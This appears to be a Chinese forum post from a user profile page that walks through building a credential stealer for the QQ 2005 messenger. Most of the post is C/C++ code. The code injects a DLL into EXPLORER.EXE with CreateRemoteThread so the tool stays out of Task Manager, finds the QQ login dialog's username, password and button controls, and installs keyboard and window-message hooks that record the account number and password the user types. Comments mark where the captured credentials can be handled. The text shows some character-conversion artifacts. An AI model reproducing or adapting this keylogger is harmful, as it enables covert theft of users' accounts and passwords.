- UID
- 24595
- 積分
- 162
- 威望
- 6523
- 桐幣
- 2
- 激情
- 0
- 金幣
- 0
- 在線時(shí)間
- 1 小時(shí)
- 注冊(cè)時(shí)間
- 2007-9-27

文都秀才

- 積分
- 162
 鮮花( 0)  雞蛋( 0)
|
|
<span id=replyContentArea2434>平臺(tái):windows xp sp2;<br />軟件:QQ2005版。<br />申明:本文旨在技術(shù)交流。<br /><br />一。先講幾句廢話:<br /><br />經(jīng)常有聽(tīng)到有朋友QQ被盜的消息,總感覺(jué)做出這種行為的人是可鄙的,不就是對(duì)QQ窗口進(jìn)行監(jiān)視,然后再是記錄用戶輸入的號(hào)碼和密碼,認(rèn)為沒(méi)什么了不起。<br /><br />對(duì)于Windows核心編程,本人還是一只菜鳥(niǎo),前一段時(shí)間把《Windows系統(tǒng)編程》粗略的看一邊(當(dāng)然重點(diǎn)地方仔細(xì)的看),由于對(duì)于C++有點(diǎn)基礎(chǔ),感覺(jué)學(xué)起來(lái)比較容易上手。但到了這兩天真正實(shí)踐的時(shí)候,遇到了各種各樣的問(wèn)題。即使一個(gè)小小的問(wèn)題都足以讓我這只菜鳥(niǎo)郁悶老半天。直到此時(shí),在完成這個(gè)軟件的時(shí)候,整理一下思路,不但算是給自己個(gè)總結(jié),也跟像我一樣的菜鳥(niǎo)們分享一下自己的經(jīng)驗(yàn)。<br /><br />二。進(jìn)入主題:<br /><br />想必大家都已經(jīng)知道,這類軟件的特點(diǎn)就是在用戶不知不覺(jué)的時(shí)候工作。在任務(wù)管理器中是看不到它們的,這就是隱藏了進(jìn)程。采用插入內(nèi)核的嵌入方式、利用遠(yuǎn)程插入線程技術(shù)、嵌入DLL線程、或掛接PSAPI等都可以達(dá)到效果,哎,既然是個(gè)菜鳥(niǎo)就選擇一個(gè)最簡(jiǎn)單的來(lái)做個(gè)實(shí)驗(yàn)。<br /><br />先講一下思路:需要三個(gè)進(jìn)程A,B,C;兩個(gè)DLL。<br /><br />初始進(jìn)程A,用于在進(jìn)程B中創(chuàng)建遠(yuǎn)程線程,創(chuàng)建成功立即退出,不會(huì)留給任務(wù)管理器任何捕捉它的機(jī)會(huì)(你根本來(lái)不及觀察)。<br /><br />進(jìn)程B作為遠(yuǎn)程線程的寄主,選擇的時(shí)候應(yīng)該是那些系統(tǒng)中必須執(zhí)行的進(jìn)程,比如EXPLORER.EXE。其中的遠(yuǎn)程線程用于監(jiān)視目標(biāo)進(jìn)程。<br /><br />進(jìn)程C為目標(biāo)進(jìn)程在這里也就是QQ.EXE。<br /><br />第一個(gè)DLL(InspectQQLandDlg.dll),遠(yuǎn)程線程的載體。<br /><br />第二個(gè)DLL(MyHook.dll),全局鉤子函數(shù)的載體。<br /><br />現(xiàn)在要做是利用進(jìn)程A把InspectQQLandDlg.dll映射到進(jìn)程B,同時(shí)啟動(dòng)該DLL中的遠(yuǎn)程線程,再利用該線程監(jiān)視目標(biāo)進(jìn)程(QQ.EXE)QQ登陸窗口,一旦找到,立即把MyHook.dll映射到目標(biāo)進(jìn)程來(lái)監(jiān)視用戶的輸入。<br /><br />這樣也清楚了這個(gè)軟件設(shè)計(jì)的總體構(gòu)架,下面用代碼來(lái)具體實(shí)現(xiàn)。<br /><br />1。遠(yuǎn)程線程的創(chuàng)建。先利用進(jìn)程快照取得目標(biāo)進(jìn)程,相對(duì)比較簡(jiǎn)單<br /><br />HANDLE hSnapshot ;<br />hSnapshot = CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 ) ;<br />if ( hSnapshot == INVALID_HANDLE_VALUE)<br />{<br />return 0;<br />}<br /><br />string lpName = "EXPLORER.EXE" ; //設(shè)定需要監(jiān)視的進(jìn)程名<br />PROCESSENTRY32 pe;<br />pe.dwSize = sizeof ( PROCESSENTRY32 );<br /><br />for( BOOL fOk = Process32First ( hSnapshot, &pe ) ; fOk; fOk =<br />Process32Next( hSnapshot, &pe ) )<br />{<br />if ( pe.szExeFile == lpName )<br />{ <br /><br />//取得宿主進(jìn)程(EXPLORER.EXE)的句柄<br />HANDLE hRemoteProcess = OpenProcess ( PROCESS_ALL_ACCESS,<br />false, pe.th32ProcessID ) ;<br /><br />//取得目標(biāo)DLL的當(dāng)前路徑(路徑可自由設(shè)置)<br />char szInspectDllPath[128] ;<br />GetCurrentDirectory ( 128, szInspectDllPath ) ; <br />strcat ( szInspectDllPath, "\\debug\\InspectQQLandDlg.dll" ) ;<br /><br />//申請(qǐng)存放文件名的空間<br />LPVOID pszInspectDllRemote ;<br />int InspectDllNameLength = sizeof ( szInspectDllPath ) + 1 ;<br />pszInspectDllRemote = VirtualAllocEx ( hRemoteProcess, <br />NULL, InspectDllNameLength, MEM_COMMIT, PAGE_READWRITE ) ; <br /><br />//把dll文件名寫入申請(qǐng)的空間<br />WriteProcessMemory ( hRemoteProcess, pszInspectDllRemote,<br />(LPVOID)szInspectDllPath, InspectDllNameLength, NULL);<br /><br />//獲取動(dòng)態(tài)鏈接庫(kù)函數(shù)地址<br />HMODULE hModule ;<br />hModule = GetModuleHandle ( "kernel32.DLL" ) ;<br />LPTHREAD_START_ROUTINE fnStartAddr ;<br />fnStartAddr = ( LPTHREAD_START_ROUTINE ) GetProcAddress ( hModule,<br />"LoadLibraryA" ) ;<br /><br />//創(chuàng)建遠(yuǎn)程線程<br />HANDLE hInspectRemoteThread = NULL ;//存放遠(yuǎn)程線程句柄<br />hInspectRemoteThread = CreateRemoteThread ( hRemoteProcess, NULL, 0,<br />fnStartAddr, pszInspectDllRemote, 0, NULL ) ;<br /><br />if( hSnapshot != NULL )<br />CloseHandle ( hSnapshot ) ;//關(guān)閉進(jìn)程快照<br /><br />CloseHandle ( hRemoteProcess ) ;<br />break ;<br />}<br />}<br /><br />2。此時(shí)InspectQQLandDlg.DLL已經(jīng)被映射到EXPLORER.EXE。此時(shí)在InspectQQLandDlg.DLL的DllMain(千萬(wàn)不要寫成DLLMain)接受到DLL_PROCESS_ATTACH消息,但一般來(lái)說(shuō)不因在DllMain中執(zhí)行過(guò)多的功能(借鑒前人的經(jīng)驗(yàn),嘿嘿),于是很容易想到開(kāi)辟一個(gè)新線程。<br /><br />switch(fdwReason)<br />{ <br />case DLL_PROCESS_ATTACH:<br />{<br /><br />//下面這句會(huì)給你創(chuàng)建遠(yuǎn)程線程成功的提示。<br />MessageBox ( 0, "Code Injection success!", "NOTE", MB_OK ) ;<br /><br />HANDLE hNewThread = CreateThread ( NULL, 0,ThreadForInspect, NULL, 0, 0 ) ;<br /><br />break;<br />}<br />}<br /><br />在新線程中要達(dá)到的目標(biāo)只是一個(gè)循環(huán),利用while()和循環(huán)標(biāo)志(BOOL)isContinue即可以實(shí)現(xiàn)。<br /><br />在這個(gè)遠(yuǎn)程線程中要完成的第二個(gè)任務(wù)是找到QQ登陸對(duì)話框中關(guān)鍵控件。<br /><br />關(guān)于這點(diǎn)網(wǎng)上有很多資料,利用的是FindWindow和FindWindowEx,這是針對(duì)以前的版本。在這里已經(jīng)無(wú)效了,現(xiàn)在QQ在這里下了點(diǎn)工夫,采用的是窗口標(biāo)題采用隨機(jī)字符。<br /><br />就以登陸對(duì)話框?yàn)槔瑢?duì)話框的類為"#32770",或許許多菜鳥(niǎo)朋友會(huì)像我在最初的時(shí)候一樣,傻傻用FindWindow ("QQ用戶登陸","#32770") ;結(jié)果什么都沒(méi)有,哎~~<br /><br />其實(shí)可以通過(guò)窗口枚舉搞清楚QQ在這里到底做了什么手腳。<br /><br />BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam ) <br />{<br />if ( !hwnd )<br />{<br />return false ;<br />}<br />char szWindowName[128] ;<br />ZeroMemory ( szWindowName, 128 ) ;<br />GetClassName ( hwnd, szWindowClassName, 128 ) ;//取得類名<br /><br />if ( !strcmp ( szWindowClassName, "#32770" ) )<br />{<br /><br />__asm int 3 <br /><br />}<br /><br />return true ;<br />}<br /><br />利用上面的程序段,在VC調(diào)試器中不斷按F5且同時(shí)在WATCH中觀察szWindowName,很容易發(fā)現(xiàn)這個(gè)窗口名字符串是由不超過(guò)二十個(gè)字符組成(多次觀察),但其中的元素只有0X13,0X10,0X32,字符串中的每個(gè)位置都是三個(gè)元素之一。但在SPY++中窗口名中看起來(lái)只不過(guò)是“ ”,怎么看都只是幾個(gè)空格(再提醒一下,不要試圖通過(guò)復(fù)制其中的內(nèi)容,效果可是無(wú)法忍受的,呵呵)<br /><br />事實(shí)上登陸窗口可以通過(guò)窗口的許多確定因素來(lái)確定,比如窗口風(fēng)格,窗口ID之類的,這些都可以通過(guò)SPY++輕易得到(SPY++,好東西。,下面也就不多發(fā)話了,直接給出各個(gè)關(guān)鍵控件的代碼。<br /><br />#define UserNameComboBoxId 0x0000008A //用戶名控件ID<br />#define PasswordEditId 0x000000B4 //密碼控件ID <br />#define ButtonId 0x00003EA0 //登陸按扭控件ID<br />#define QQLandDlgMiniStyle 0x94CA00C4 //登陸對(duì)話框最小化時(shí)的風(fēng)格<br />#define QQLandDlgShowStyle 0XB4CA00C4 //登陸對(duì)話框在桌面顯示時(shí)的風(fēng)格<br /><br />BOOL CALLBACK EnumWindowProc ( HWND hwnd, LPARAM lParam )<br />{<br />if ( !hwnd )<br />return false ;<br /><br />long style = GetWindowLong ( hwnd, GWL_STYLE ) ;<br />if ( style == QQLandDlgMiniStyle || style == QQLandDlgShowStyle )<br />{<br />hQQLand = hwnd ;<br />EnumChildWindows ( hQQLand, EnumChildWndProc, NULL ) ;<br /><br />return false ;<br />}<br /><br />return true ;<br />}<br /><br />BOOL CALLBACK EnumChildWndProc ( HWND hwnd, LPARAM lParam ) <br />{<br />if ( !hwnd )<br />return false ;<br /><br />//取得指定句柄的控件ID<br />long id= GetWindowLong ( hwnd, GWL_ID ) ;<br /><br />if (id == UserNameComboBoxId )<br />{<br />hUserName = hwnd ;<br />}<br /><br />else if ( id == PasswordEditId )<br />{<br />hPassword = hwnd ;<br />}<br /><br />else if ( id == ButtonId )<br />{<br />hLandButton = hwnd ;<br />}<br /><br />return true ;<br />}<br /><br />到這里終于取得盼望多時(shí)的hUserName,hPassword,hButton這三個(gè)控件的句柄。~v~<br /><br />在這里其實(shí)可以用<br /><br />SendMessage ( hUserName, WM_GETTEXT, 128, (LPARAM)szUserName );<br /><br />取得UserName(QQ號(hào)碼),但不能取得密碼。<br /><br />可以隨便下載個(gè)*號(hào)密碼,再在密碼框中輸入幾個(gè)字符,結(jié)果可能是失敗,不知道QQ做了什么手腳,有機(jī)會(huì)再好好研究。既然此路不通,菜鳥(niǎo)也自己的辦法去達(dá)到目標(biāo)。<br /><br />現(xiàn)在遠(yuǎn)程線程的第二個(gè)功能(取得關(guān)鍵控件的句柄)已經(jīng)完成,接下來(lái)要做的事是把MyHook.dll映射到QQ.EXE,這樣即可實(shí)現(xiàn)對(duì)用戶鍵盤輸入的監(jiān)視。<br /><br />只需調(diào)用MyHook.dll的接口函數(shù)即可<br /><br />SetHook ( hQQLand, hUserName, hPassword, hLandButton, true ) ;<br /><br />3。MyHook.dll模塊。<br /><br />EXPORT BOOL WINAPI SetHook ( HWND hQQLand,<br />HWND hUserName, HWND hPassword, HWND hLandButton, BOOL isInstall ) <br />{<br />if ( isInstall )<br />{<br />hQQLandDlg = hQQLand ;<br />hUserNameEdit = hUserName ;<br />hPasswordComboBox = hPassword ;<br />hButton = hLandButton ;<br /><br />DWORD dwQQLandDlgThreadId = GetWindowThreadProcessId ( hQQLand, NULL ) ;<br />hHookDll = GetModuleHandle ( "MyHook" ) ;<br /><br />hKeyboard = SetWindowsHookEx ( WH_KEYBOARD, <br />(HOOKPROC)KeyboardProc, hHookDll, dwQQLandDlgThreadId ) ;<br /><br />hWndProc = SetWindowsHookEx ( WH_CALLWNDPROC,<br />(HOOKPROC)CallWndProc, hHookDll, dwQQLandDlgThreadId ) ; <br /><br />if ( hKeyboard != NULL && hWndProc != NULL )<br />return true ;<br />}<br /><br />else<br />{<br />UnhookWindowsHookEx ( hKeyboard ) ;<br />UnhookWindowsHookEx ( hWndProc ) ;<br /><br />hHookDll = NULL ;<br />hKeyboard = NULL ;<br />hWndProc = NULL ; <br />ZeroMemory ( szPassword, 128 ) ;<br />pszPasswordLen = 0 ;<br />}<br /><br />return false ;<br />}<br /><br />這個(gè)程序段很簡(jiǎn)單只是通過(guò)檢測(cè)遠(yuǎn)程線程的輸入安裝、卸載鉤子函數(shù)。<br /><br />如果對(duì)鉤子函數(shù)不清楚的朋友,看一下MSDN或者WIN32函數(shù)集就可以了。<br /><br />這里對(duì)QQ登陸對(duì)話框線程設(shè)置兩個(gè)鉤子,一個(gè)鍵盤鉤子函數(shù)記錄鍵盤輸入;另一個(gè)全局消息鉤子。<br /><br />LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )<br />{<br /><br />//檢測(cè)回車鍵是否被按下<br />if ( wParam == VK_RETURN && lParam > 0 )<br />{<br /><br />//由于鉤子函數(shù)只是記錄對(duì)密碼框的記錄,因而在最后時(shí)刻取得號(hào)碼會(huì)是準(zhǔn)確的<br />SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName );<br /><br />//此處可以自由處理攔截到的號(hào)碼和密碼(szUserName,szPassword)<br /><br />//不要忘了變量還原(szUserName,szPassword)<br />}<br /><br />if ( lParam > 0 && wParam != VK_RETURN )<br />{<br />char KeyName[10] ;<br />ZeroMemory ( KeyName, 10 ) ;<br />GetKeyNameText ( lParam, KeyName, 10 ) ;<br /><br />if ( strlen ( KeyName ) == 1 )<br />{<br />strcat ( szPassword, KeyName ) ;<br />}<br />}<br /><br />return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;<br />}<br /><br />也由一部分用戶是用鼠標(biāo)點(diǎn)擊登陸按扭的,可由下面代碼實(shí)現(xiàn)<br /><br />LRESULT CALLBACK CallWndProc ( int nCode, WPARAM wParam, LPARAM lParam )<br />{<br />CWPSTRUCT *p = (CWPSTRUCT*)lParam ;<br />if ( p->message == WM_COMMAND && p->hwnd == hButton )<br />{//同理<br /><br />SendMessage ( hUserNameEdit, WM_GETTEXT, 128, (LPARAM)szUserName ); <br /><br />//這里可添加如何處理密碼的語(yǔ)句<br />}<br />return CallNextHookEx ( hWndProc, nCode, wParam, lParam ) ;<br />}<br /><br /><br />上面給出的幾段代碼可以實(shí)現(xiàn)基本的號(hào)碼和密碼記錄功能,但對(duì)于具體細(xì)節(jié)的處理(比如用戶按退格鍵或是其他),這些只要考慮仔細(xì)就可以了沒(méi)有什么難度,這里就不說(shuō)了。<br /></span> |
|